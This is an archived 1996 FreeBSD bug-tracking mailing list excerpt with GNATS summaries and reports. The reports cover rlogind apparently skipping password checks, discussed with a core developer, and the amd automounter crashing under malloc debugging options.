=?iso-8859-1?Q?Re=3A_bin=2F2071=3A_FreeBSD_does=B4t_ [1996/11/20] bin/2074 syslog.h with SYSLOG_NAMES defined generates warning [1996/11/21] docs/2077 Error in /usr/share/doc/handbook/ (src-cur.2436.gz) [1996/11/21] ports/2079 New ports supporting AWE sound driver (for 2.2 & 3.0 [1996/11/21] bin/2080 The scanf family doesn't support 'q' modifier [1996/11/21] bin/2081 pings clock is troubled [1996/11/22] ports/2082 ``make -k fetch'' in a ports subdir doesn't keep pro [1996/11/22] ports/2084 New Port, Please Commit to CVS tree [1996/11/22] pending/2087 ifconfig.8 does not document how to remove alias [1996/11/22] ports/2088 MH `comp -nowhatnowproc' creates the wrong draft fil [1996/11/22] pending/2089 [1996/11/22] bin/2090 clients may bind to FreeBSD ypserv refusing to serve [1996/11/22] conf/2091 transfer error bytes -1 to 1024 on install This is the list of problem reports already analyzed: [1994/12/01] kern/35 mount -t union -o -b : lower layer not seen by shell [1995/01/11] i386/105 Distributed libm (msun) has non-standard error handl [1995/03/20] kern/260 msync and munmap don't bother to update mod times [1995/03/20] docs/264 There are no manual pages for the forms library. [1995/04/09] bin/326 Weekly cron generates some usage and error messages [1995/05/09] bin/392 Simultaneous cp and ls of files on dos f/s hangs pro [1995/05/27] gnu/450 tar --exclude -c doesn't work [1995/06/17] kern/527 dump causes assertion in ncr.c [1995/06/21] docs/538 MAP_FILE not mentioned in mmap man page. [1995/08/07] bin/661 Hercules is not capable of having a ISO-Latin1 Scree [1995/10/07] bin/771 telnet character mode not set and broken when set - [1995/10/26] kern/794 swap partition at offset 0 still broken [1995/11/25] bin/839 by default, use of "at" is overly restricted [1995/12/29] misc/922 From line handling incorrect in mail.local [1995/12/31] kern/924 EISA devices have disappeared from vmstat/systat int [1996/01/22] kern/965 2.0.5: system crashes daily because of "multiple fre [1996/01/30] bin/981 clnt_broadcast() is not aware of aliases [1996/02/17] bin/1030 /bin/sh does not pass environment variables on prope [1996/02/19] bin/1035 ls to terminal always uses ? for non-printable chars [1996/03/04] kern/1059 null fs panics system [1996/03/18] docs/1089 stat manpage unclear about st_mtime & friends [1996/03/28] bin/1105 Bug in find command [1996/04/15] kern/1144 sig{add, del}set and sigismember fns don't check sig [1996/04/22] bin/1154 Configure tunN device for ip-over-ip tunnelling [1996/05/19] kern/1217 separating to hardrives to two IDE channels hangs th [1996/05/20] bin/1221 new gcc-2.7.2 gives a LOT of warnings, and a few ERR [1996/05/20] ports/1222 Header files conflict [1996/05/21] bin/1229 redundant redeclaration of `lseek' [1996/05/24] bin/1242 In the "sys/stat.h" file, the S_ISFIFO and S_ISSOCK [1996/06/12] bin/1315 ls(1) [1996/06/13] bin/1320 dump limits blocksize to 32K [1996/06/18] kern/1333 free vnode isn't: another -stable coredump [1996/06/21] misc/1340 make world fails [1996/07/07] bin/1375 Extraneous warning from mv(1) [1996/07/18] kern/1397 can't send to a pipe [1996/07/28] docs/1437 bsd.doc.mk sees PRINTER and spews [1996/08/02] docs/1457 ed(1) man [1996/08/28] ports/1550 "make install" needs to know how to update /usr/loca [1996/08/29] docs/1551 manpage of zgrep not installed in 2.1.5R [1996/08/30] bin/1554 routed kills default permanently [1996/09/04] bin/1565 Moving a file to it's link completely removes file [1996/09/16] bin/1621 last char in line stays "$" [1996/09/18] bin/1642 pkg_install Makefiles could be simplified [1996/10/04] bin/1722 Routed byte order problem [1996/10/08] kern/1744 run queue or proc list smashed 4 times in 2 days [1996/10/29] bin/1925 file does not consider cyrillic text as text -- brea [1996/11/14] i386/2010 Fe in 2.2-ALPHA is broken and doesn't work /* EOF -- this list has not been truncated */ From owner-freebsd-bugs Sat Nov 23 04:31:13 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA22639 for bugs-outgoing; Sat, 23 Nov 1996 04:31:13 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA22627 for freebsd-bugs; Sat, 23 Nov 1996 04:31:09 -0800 (PST) Date: Sat, 23 Nov 1996 04:31:09 -0800 (PST) From: GNU GNATS Message-Id: <199611231231.EAA22627@freefall.freebsd.org> To: freebsd-bugs Subject: Summary of Problem Reports Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Number of currently open reports: 426 Number of curently analyzed reports: 47 From owner-freebsd-bugs Sat Nov 23 06:50:08 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA28665 for bugs-outgoing; Sat, 23 Nov 1996 06:50:08 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id GAA28656; Sat, 23 Nov 1996 06:50:05 -0800 (PST) Resent-Date: Sat, 23 Nov 1996 06:50:05 -0800 (PST) Resent-Message-Id: <199611231450.GAA28656@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, ciaran@aldhfn.aldhfn.org Received: from aldhfn.aldhfn.org (root@aldhfn.aldhfn.org [198.17.116.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id GAA28455 for ; Sat, 23 Nov 1996 06:43:02 -0800 (PST) Received: (from ciaran@localhost) by aldhfn.aldhfn.org (8.6.12/8.6.11.1) id JAA04480; Sat, 23 Nov 1996 09:40:12 -0500 Message-Id: <199611231440.JAA04480@aldhfn.aldhfn.org> Date: Sat, 23 Nov 1996 09:40:12 -0500 From: Skip Watson Reply-To: ciaran@aldhfn.aldhfn.org To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/2092: rlogind not using passwords Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2092 >Category: bin >Synopsis: rlogind not using passwords >Confidential: yes >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Nov 23 06:50:03 PST 1996 >Last-Modified: >Originator: Skip Watson >Organization: Skip -- Auldhaefen Online Services automated info: info@aldhfn.org 330 745-9380 voice questions: support@aldhfn.org 330 753-8791 bbs/fax person: ciaran@aldhfn.org 330 745-7624 data WWW: http://www.ald.net >Release: FreeBSD 2.1-STABLE i386 >Environment: FreeBSD aldhfn.aldhfn.org 2.1.0-RELEASE FreeBSD 2.1.0-RELEASE #0: Mon Nov 20 13:22:52 EST 1995 ciaran@aldhfn.aldhfn.org:/usr/src/sys/compile/ALDHFN i386 and FreeBSD arachne.aldhfn.org 2.1.5-RELEASE FreeBSD 2.1.5-RELEASE #0: Thu Jul 18 02:24:53 EDT 1996 root@arachne.aldhfn.org:/usr/src/sys/compile/ARACHNE i386 >Description: When using rlogin from a remote site, rlogind does not use passwords on the local machine. As an example, user "timmy" has an account on our machine (aldhfn.aldhfn.org) with a password of "letmein". He also has an account of "timmy" at xyz.com with a password of "whocares". "timmy" logins into "xyz.com" and then rlogin to our machine. rlogind logs him directly into our machine without asking for his password on our machine. Since the two passwords are different it should be authenticating him rather logging him in directly. This is a major problem since anyone can login as anyone else, even root. The same thing is occuring with arachne.aldhfn.org which is running 2.1.5. I have gotten in 2.1.6 but haven't had time to install it. I don't know if 2.1.6 will solve this problem or not. >How-To-Repeat: It happens all of the time. There's nothing special that needs to be done. >Fix: Don't know. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sat Nov 23 07:30:06 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA29659 for bugs-outgoing; Sat, 23 Nov 1996 07:30:06 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA29644; Sat, 23 Nov 1996 07:30:04 -0800 (PST) Date: Sat, 23 Nov 1996 07:30:04 -0800 (PST) Message-Id: <199611231530.HAA29644@freefall.freebsd.org> To: freebsd-bugs Cc: From: Poul-Henning Kamp Subject: Re: bin/2092: rlogind not using passwords Reply-To: Poul-Henning Kamp Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/2092; it has been noted by GNATS. From: Poul-Henning Kamp To: ciaran@aldhfn.aldhfn.org Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/2092: rlogind not using passwords Date: Sat, 23 Nov 1996 16:27:55 +0100 >>How-To-Repeat: > > It happens all of the time. There's nothing special that needs to be >done. Please take a peek in the manpage for ruserok() and see if you didn't overlook something... -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-bugs Sat Nov 23 07:30:10 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA29674 for bugs-outgoing; Sat, 23 Nov 1996 07:30:10 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA29658; Sat, 23 Nov 1996 07:30:06 -0800 (PST) Resent-Date: Sat, 23 Nov 1996 07:30:06 -0800 (PST) Resent-Message-Id: <199611231530.HAA29658@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, gilham@csl.sri.com Received: from csla.csl.sri.com (csla.csl.sri.com [192.12.33.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA29608 for ; Sat, 23 Nov 1996 07:29:51 -0800 (PST) Received: from japonica.csl.sri.com (japonica.csl.sri.com [130.107.15.17]) by csla.csl.sri.com (8.7.3/8.7.3) with ESMTP id HAA14512 for ; Sat, 23 Nov 1996 07:26:53 -0800 (PST) Received: (from gilham@localhost) by japonica.csl.sri.com (8.8.2/8.7.3) id IAA00469; Sat, 23 Nov 1996 08:28:25 GMT Message-Id: <199611230828.IAA00469@japonica.csl.sri.com> Date: Sat, 23 Nov 1996 08:28:25 GMT From: Fred Gilham Reply-To: gilham@csl.sri.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/2093: /etc/malloc.conf and AMD Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2093 >Category: bin >Synopsis: AMD gets sig 11 when /etc/malloc.conf is linked to AJ >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Nov 23 07:30:04 PST 1996 >Last-Modified: >Originator: Fred Gilham >Organization: SRI International >Release: FreeBSD 2.2-ALPHA i386 >Environment: Pentium-Pro 200. Home directory and others NFS mounted >Description: When /etc/malloc.conf is linked to AJ (as requested for testing purposes) then AMD gets a signal 11 whenever I try to log in. Removing /etc/malloc.conf causes AMD to function normally. I was unable to track the problem down to mounting a specific remote file system. >How-To-Repeat: (See description). >Fix: (N/A) >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sat Nov 23 08:10:12 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA01090 for bugs-outgoing; Sat, 23 Nov 1996 08:10:12 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA01078; Sat, 23 Nov 1996 08:10:07 -0800 (PST) Date: Sat, 23 Nov 1996 08:10:07 -0800 (PST) Message-Id: <199611231610.IAA01078@freefall.freebsd.org> To: freebsd-bugs Cc: From: Poul-Henning Kamp Subject: Re: bin/2093: /etc/malloc.conf and AMD Reply-To: Poul-Henning Kamp Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/2093; it has been noted by GNATS. From: Poul-Henning Kamp To: gilham@csl.sri.com Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/2093: /etc/malloc.conf and AMD Date: Sat, 23 Nov 1996 17:05:31 +0100 I have mailed the author of amd on this issue: To: jsp@doc.ic.ac.uk Subject: AMD malloc problem. Date: Sat, 23 Nov 1996 17:02:39 +0100 Message-ID: <12545.848764959@critter.tfs.com> From: Poul-Henning Kamp Hi! We have received the attached bug-report in the FreeBSD group. Basically what seems to happen is that if malloc(3) and friends, exhibit some nasty but legal behaviour amd falls over. What happens when you set the malloc.conf to "AJ" is that all allocations gets filled with the byte value 0xd0 before being returned from malloc() or realloc() or when returned to free() or realloc(). This generally exposes errors where the program tacitly expects the memory to be zero-filled, or if memory is used after being freed, both of which is far more common than one would expect. (amongst the previous casualities we can mention fsck, ranlib, systat &c &c) Should you wish to try to reproduce this problem, you can easily use the "phkmalloc" implementation, simply by adding the file ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/\ src/lib/libc/stdlib/malloc.c to the sources of amd. The manpage is ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/\ src/lib/libc/stdlib/malloc.3 I must admit that I don't know if we are up to date with amd or if a newer version exists, in which case I presume we tell the original submitter to upgrade and test it again. Thanks in advance! Poul-Henning Kamp The FreeBSD core-team. From owner-freebsd-bugs Sat Nov 23 08:30:14 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA01542 for bugs-outgoing; Sat, 23 Nov 1996 08:30:14 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA01534; Sat, 23 Nov 1996 08:30:08 -0800 (PST) Date: Sat, 23 Nov 1996 08:30:08 -0800 (PST) Message-Id: <199611231630.IAA01534@freefall.freebsd.org> To: freebsd-bugs Cc: From: Skip Watson Subject: Re: bin/2092: rlogind not using passwords Reply-To: Skip Watson Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/2092; it has been noted by GNATS. From: Skip Watson To: Poul-Henning Kamp Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/2092: rlogind not using passwords Date: Sat, 23 Nov 1996 11:20:16 -0500 (EST) On Sat, 23 Nov 1996, Poul-Henning Kamp wrote: > >>How-To-Repeat: > > > > It happens all of the time. There's nothing special that needs to be > >done. > > Please take a peek in the manpage for ruserok() and see if you didn't > overlook something... From the man page (but you know this ;-)). ------------ The iruserok() and ruserok() functions take a remote host's IP address or name, as returned by the gethostbyname(3) routines, two user names and a flag indicating whether the local user's name is that of the super-user. Then, if the user is NOT the super-user, it checks the /etc/hosts.equiv file. If that lookup is not done, or is unsuccessful, the .rhosts in the local user's home directory is checked to see if the request for service is allowed. If this file does not exist, is not a regular file, is owned by anyone other than the user or the super-user, or is writeable by anyone other than the owner, the check automatically fails. Zero is returned if the machine name is listed in the ``hosts.equiv'' file, or the host and re- mote user name are found in the ``.rhosts'' file; otherwise iruserok() and ruserok() return -1. If the local domain (as obtained from gethostname(2)) is the same as the remote domain, only the machine name need be specified. ----------- The user is not the super-user. The remote site is not in /etc/hosts.equiv and the user has no .rhosts file. It should fail. I'm not a programmer so I can't go in and check things :-(. I did install tcp_wrapper to see if that made any difference. For what it is worth, it didn't. Skip -- Auldhaefen Online Services automated info: info@aldhfn.org 330 745-9380 voice questions: support@aldhfn.org 330 753-8791 bbs/fax person: ciaran@aldhfn.org 330 745-7624 data WWW: http://www.ald.net From owner-freebsd-bugs Sat Nov 23 08:50:08 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA02247 for bugs-outgoing; Sat, 23 Nov 1996 08:50:08 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA02241; Sat, 23 Nov 1996 08:50:05 -0800 (PST) Date: Sat, 23 Nov 1996 08:50:05 -0800 (PST) Message-Id: <199611231650.IAA02241@freefall.freebsd.org> To: freebsd-bugs Cc: From: Poul-Henning Kamp Subject: Re: bin/2092: rlogind not using passwords Reply-To: Poul-Henning Kamp Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/2092; it has been noted by GNATS. From: Poul-Henning Kamp To: Skip Watson Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/2092: rlogind not using passwords Date: Sat, 23 Nov 1996 17:43:43 +0100 Are you sure your system hasn't been hacked ? -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so.